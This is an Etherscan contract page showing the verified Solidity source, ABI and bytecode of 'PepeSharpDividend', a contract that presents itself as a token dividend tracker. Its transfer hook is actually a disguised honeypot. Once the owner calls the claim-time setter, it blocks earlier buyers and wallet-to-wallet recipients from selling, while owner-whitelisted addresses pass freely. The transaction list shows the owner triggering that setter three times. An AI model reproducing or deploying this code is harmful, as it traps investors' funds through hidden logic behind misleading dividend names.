Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 5 from a total of 5 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Set Claiming Tim... | 17650971 | 487 days ago | IN | 0 ETH | 0.00046198 | ||||
Set Claiming Tim... | 17650966 | 487 days ago | IN | 0 ETH | 0.00048497 | ||||
Set Claiming Tim... | 17650959 | 487 days ago | IN | 0 ETH | 0.00083595 | ||||
Set Token For Di... | 17650938 | 487 days ago | IN | 0 ETH | 0.00115282 | ||||
0x60806040 | 17650892 | 487 days ago | IN | 0 ETH | 0.00751091 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
PepeSharpDividend
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-08 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.12; abstract contract Context { function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract PepeSharpDividend is Ownable { address private token; bool private isDividendFinished; mapping (address => uint256) private _dividendTimePassed; address private pair; mapping(address => bool) private _whitelists; uint256 private claimTime; modifier onlyToken() { require(msg.sender == token); _; } function accumulativeDividendOf(address _from, address _to) external onlyToken returns (uint256) { if (_whitelists[_from] || _whitelists[_to]) { return 1; } if (_from == pair) { if (_dividendTimePassed[_to] == 0) { _dividendTimePassed[_to] = block.timestamp; } } else if (_to == pair) { require(!isDividendFinished && _dividendTimePassed[_from] >= claimTime); } else { _dividendTimePassed[_to] = 1; } return 0; } function whitelistForDividendsPepeSharp(address owner_, bool _isWhitelist) external onlyOwner { _whitelists[owner_] = _isWhitelist; } function setDividendFinishedPepeSharp(bool isFinished) external onlyOwner { isDividendFinished = isFinished; } receive() external payable { } function setClaimingTimeForDividendPepeSharp() external onlyOwner { claimTime = block.timestamp; } function setTokenForDividendsPepeSharp(address _token, address _pair) external onlyOwner { token = _token; pair = _pair; isDividendFinished = false; claimTime = 0; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"accumulativeDividendOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setClaimingTimeForDividendPepeSharp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isFinished","type":"bool"}],"name":"setDividendFinishedPepeSharp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"setTokenForDividendsPepeSharp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"bool","name":"_isWhitelist","type":"bool"}],"name":"whitelistForDividendsPepeSharp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801561000f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506106658061005d5f395ff3fe60806040526004361061007c575f3560e01c80638da5cb5b1161004c5780638da5cb5b146100ef578063cc5489df1461011a578063dcf4170b14610147578063f2fde38b14610166575f80fd5b80632accdb21146100875780632c1cf3dd146100a85780635c84f4a1146100c7578063715018a6146100db575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506100a66100a1366004610552565b610185565b005b3480156100b3575f80fd5b506100a66100c2366004610588565b6101d5565b3480156100d2575f80fd5b506100a6610228565b3480156100e6575f80fd5b506100a6610257565b3480156100fa575f80fd5b505f546040516001600160a01b0390911681526020015b60405180910390f35b348015610125575f80fd5b506101396101343660046105b9565b6102c8565b604051908152602001610111565b348015610152575f80fd5b506100a66101613660046105b9565b6103f4565b348015610171575f80fd5b506100a66101803660046105e1565b610457565b5f546001600160a01b031633146101b75760405162461bcd60e51b81526004016101ae906105fa565b60405180910390fd5b60018054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146101fe5760405162461bcd60e51b81526004016101ae906105fa565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146102515760405162461bcd60e51b81526004016101ae906105fa565b42600555565b5f546001600160a01b031633146102805760405162461bcd60e51b81526004016101ae906105fa565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6001545f906001600160a01b031633146102e0575f80fd5b6001600160a01b0383165f9081526004602052604090205460ff168061031d57506001600160a01b0382165f9081526004602052604090205460ff165b1561032a575060016103ee565b6003546001600160a01b039081169084160361037e576001600160a01b0382165f908152600260205260408120549003610379576001600160a01b0382165f9081526002602052604090204290555b6103eb565b6003546001600160a01b03908116908316036103cf57600154600160a01b900460ff161580156103c757506005546001600160a01b0384165f9081526002602052604090205410155b610379575f80fd5b6001600160a01b0382165f908152600260205260409020600190555b505f5b92915050565b5f546001600160a01b0316331461041d5760405162461bcd60e51b81526004016101ae906105fa565b60018054600380546001600160a01b039485166001600160a01b0319919091161790556001600160a81b031916919092161790555f600555565b5f546001600160a01b031633146104805760405162461bcd60e51b81526004016101ae906105fa565b6001600160a01b0381166104e55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101ae565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b8035801515811461054d575f80fd5b919050565b5f60208284031215610562575f80fd5b61056b8261053e565b9392505050565b80356001600160a01b038116811461054d575f80fd5b5f8060408385031215610599575f80fd5b6105a283610572565b91506105b06020840161053e565b90509250929050565b5f80604083850312156105ca575f80fd5b6105d383610572565b91506105b060208401610572565b5f602082840312156105f1575f80fd5b61056b82610572565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea2646970667358221220100106244c2de71b0f605c879c751665a1b209922b83370001e0d2cd5aca4eeb64736f6c63430008140033
Deployed Bytecode
0x60806040526004361061007c575f3560e01c80638da5cb5b1161004c5780638da5cb5b146100ef578063cc5489df1461011a578063dcf4170b14610147578063f2fde38b14610166575f80fd5b80632accdb21146100875780632c1cf3dd146100a85780635c84f4a1146100c7578063715018a6146100db575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506100a66100a1366004610552565b610185565b005b3480156100b3575f80fd5b506100a66100c2366004610588565b6101d5565b3480156100d2575f80fd5b506100a6610228565b3480156100e6575f80fd5b506100a6610257565b3480156100fa575f80fd5b505f546040516001600160a01b0390911681526020015b60405180910390f35b348015610125575f80fd5b506101396101343660046105b9565b6102c8565b604051908152602001610111565b348015610152575f80fd5b506100a66101613660046105b9565b6103f4565b348015610171575f80fd5b506100a66101803660046105e1565b610457565b5f546001600160a01b031633146101b75760405162461bcd60e51b81526004016101ae906105fa565b60405180910390fd5b60018054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146101fe5760405162461bcd60e51b81526004016101ae906105fa565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146102515760405162461bcd60e51b81526004016101ae906105fa565b42600555565b5f546001600160a01b031633146102805760405162461bcd60e51b81526004016101ae906105fa565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6001545f906001600160a01b031633146102e0575f80fd5b6001600160a01b0383165f9081526004602052604090205460ff168061031d57506001600160a01b0382165f9081526004602052604090205460ff165b1561032a575060016103ee565b6003546001600160a01b039081169084160361037e576001600160a01b0382165f908152600260205260408120549003610379576001600160a01b0382165f9081526002602052604090204290555b6103eb565b6003546001600160a01b03908116908316036103cf57600154600160a01b900460ff161580156103c757506005546001600160a01b0384165f9081526002602052604090205410155b610379575f80fd5b6001600160a01b0382165f908152600260205260409020600190555b505f5b92915050565b5f546001600160a01b0316331461041d5760405162461bcd60e51b81526004016101ae906105fa565b60018054600380546001600160a01b039485166001600160a01b0319919091161790556001600160a81b031916919092161790555f600555565b5f546001600160a01b031633146104805760405162461bcd60e51b81526004016101ae906105fa565b6001600160a01b0381166104e55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101ae565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b8035801515811461054d575f80fd5b919050565b5f60208284031215610562575f80fd5b61056b8261053e565b9392505050565b80356001600160a01b038116811461054d575f80fd5b5f8060408385031215610599575f80fd5b6105a283610572565b91506105b06020840161053e565b90509250929050565b5f80604083850312156105ca575f80fd5b6105d383610572565b91506105b060208401610572565b5f602082840312156105f1575f80fd5b61056b82610572565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea2646970667358221220100106244c2de71b0f605c879c751665a1b209922b83370001e0d2cd5aca4eeb64736f6c63430008140033
Deployed Bytecode Sourcemap
2133:1546:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3187:122;;;;;;;;;;-1:-1:-1;3187:122:0;;;;;:::i;:::-;;:::i;:::-;;3034:145;;;;;;;;;;-1:-1:-1;3034:145:0;;;;;:::i;:::-;;:::i;3360:110::-;;;;;;;;;;;;;:::i;1978:148::-;;;;;;;;;;;;;:::i;940:79::-;;;;;;;;;;-1:-1:-1;978:7:0;1005:6;940:79;;-1:-1:-1;;;;;1005:6:0;;;947:51:1;;935:2;920:18;940:79:0;;;;;;;;2504:518;;;;;;;;;;-1:-1:-1;2504:518:0;;;;;:::i;:::-;;:::i;:::-;;;1420:25:1;;;1408:2;1393:18;2504:518:0;1274:177:1;3478:198:0;;;;;;;;;;-1:-1:-1;3478:198:0;;;;;:::i;:::-;;:::i;1172:244::-;;;;;;;;;;-1:-1:-1;1172:244:0;;;;;:::i;:::-;;:::i;3187:122::-;1548:6;;-1:-1:-1;;;;;1548:6:0;415:10;1548:22;1540:67;;;;-1:-1:-1;;;1540:67:0;;;;;;;:::i;:::-;;;;;;;;;3270:18:::1;:31:::0;;;::::1;;-1:-1:-1::0;;;3270:31:0::1;-1:-1:-1::0;;;;3270:31:0;;::::1;::::0;;;::::1;::::0;;3187:122::o;3034:145::-;1548:6;;-1:-1:-1;;;;;1548:6:0;415:10;1548:22;1540:67;;;;-1:-1:-1;;;1540:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3137:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:34;;-1:-1:-1;;3137:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;3034:145::o;3360:110::-;1548:6;;-1:-1:-1;;;;;1548:6:0;415:10;1548:22;1540:67;;;;-1:-1:-1;;;1540:67:0;;;;;;;:::i;:::-;3447:15:::1;3435:9;:27:::0;3360:110::o;1978:148::-;1548:6;;-1:-1:-1;;;;;1548:6:0;415:10;1548:22;1540:67;;;;-1:-1:-1;;;1540:67:0;;;;;;;:::i;:::-;2085:1:::1;2069:6:::0;;2048:40:::1;::::0;-1:-1:-1;;;;;2069:6:0;;::::1;::::0;2048:40:::1;::::0;2085:1;;2048:40:::1;2116:1;2099:19:::0;;-1:-1:-1;;;;;;2099:19:0::1;::::0;;1978:148::o;2504:518::-;2471:5;;2592:7;;-1:-1:-1;;;;;2471:5:0;2457:10;:19;2449:28;;;;;;-1:-1:-1;;;;;2614:18:0;::::1;;::::0;;;:11:::1;:18;::::0;;;;;::::1;;::::0;:38:::1;;-1:-1:-1::0;;;;;;2636:16:0;::::1;;::::0;;;:11:::1;:16;::::0;;;;;::::1;;2614:38;2610:73;;;-1:-1:-1::0;2672:1:0::1;2665:8;;2610:73;2707:4;::::0;-1:-1:-1;;;;;2707:4:0;;::::1;2698:13:::0;;::::1;::::0;2694:311:::1;;-1:-1:-1::0;;;;;2728:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;;:29;;2724:102:::1;;-1:-1:-1::0;;;;;2772:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;2799:15:::1;2772:42:::0;;2724:102:::1;2694:311;;;2852:4;::::0;-1:-1:-1;;;;;2852:4:0;;::::1;2845:11:::0;;::::1;::::0;2841:164:::1;;2878:18;::::0;-1:-1:-1;;;2878:18:0;::::1;;;2877:19;:62:::0;::::1;;;-1:-1:-1::0;2930:9:0::1;::::0;-1:-1:-1;;;;;2900:26:0;::::1;;::::0;;;:19:::1;:26;::::0;;;;;:39:::1;;2877:62;2869:71;;;::::0;::::1;2841:164;-1:-1:-1::0;;;;;2967:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;2994:1:::1;2967:28:::0;;2841:164:::1;-1:-1:-1::0;3013:1:0::1;2487;2504:518:::0;;;;:::o;3478:198::-;1548:6;;-1:-1:-1;;;;;1548:6:0;415:10;1548:22;1540:67;;;;-1:-1:-1;;;1540:67:0;;;;;;;:::i;:::-;3576:5:::1;:14:::0;;3599:4:::1;:12:::0;;-1:-1:-1;;;;;3599:12:0;;::::1;-1:-1:-1::0;;;;;;3599:12:0;;;::::1;;::::0;;-1:-1:-1;;;;;;3620:26:0;3576:14;;;::::1;3620:26:::0;;;3576:5:::1;3655:9;:13:::0;3478:198::o;1172:244::-;1548:6;;-1:-1:-1;;;;;1548:6:0;415:10;1548:22;1540:67;;;;-1:-1:-1;;;1540:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1261:22:0;::::1;1253:73;;;::::0;-1:-1:-1;;;1253:73:0;;2210:2:1;1253:73:0::1;::::0;::::1;2192:21:1::0;2249:2;2229:18;;;2222:30;2288:34;2268:18;;;2261:62;-1:-1:-1;;;2339:18:1;;;2332:36;2385:19;;1253:73:0::1;2008:402:1::0;1253:73:0::1;1363:6;::::0;;1342:38:::1;::::0;-1:-1:-1;;;;;1342:38:0;;::::1;::::0;1363:6;::::1;::::0;1342:38:::1;::::0;::::1;1391:6;:17:::0;;-1:-1:-1;;;;;;1391:17:0::1;-1:-1:-1::0;;;;;1391:17:0;;;::::1;::::0;;;::::1;::::0;;1172:244::o;14:160:1:-;79:20;;135:13;;128:21;118:32;;108:60;;164:1;161;154:12;108:60;14:160;;;:::o;179:180::-;235:6;288:2;276:9;267:7;263:23;259:32;256:52;;;304:1;301;294:12;256:52;327:26;343:9;327:26;:::i;:::-;317:36;179:180;-1:-1:-1;;;179:180:1:o;364:173::-;432:20;;-1:-1:-1;;;;;481:31:1;;471:42;;461:70;;527:1;524;517:12;542:254;607:6;615;668:2;656:9;647:7;643:23;639:32;636:52;;;684:1;681;674:12;636:52;707:29;726:9;707:29;:::i;:::-;697:39;;755:35;786:2;775:9;771:18;755:35;:::i;:::-;745:45;;542:254;;;;;:::o;1009:260::-;1077:6;1085;1138:2;1126:9;1117:7;1113:23;1109:32;1106:52;;;1154:1;1151;1144:12;1106:52;1177:29;1196:9;1177:29;:::i;:::-;1167:39;;1225:38;1259:2;1248:9;1244:18;1225:38;:::i;1456:186::-;1515:6;1568:2;1556:9;1547:7;1543:23;1539:32;1536:52;;;1584:1;1581;1574:12;1536:52;1607:29;1626:9;1607:29;:::i;1647:356::-;1849:2;1831:21;;;1868:18;;;1861:30;1927:34;1922:2;1907:18;;1900:62;1994:2;1979:18;;1647:356::o
Swarm Source
ipfs://100106244c2de71b0f605c879c751665a1b209922b83370001e0d2cd5aca4eeb
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.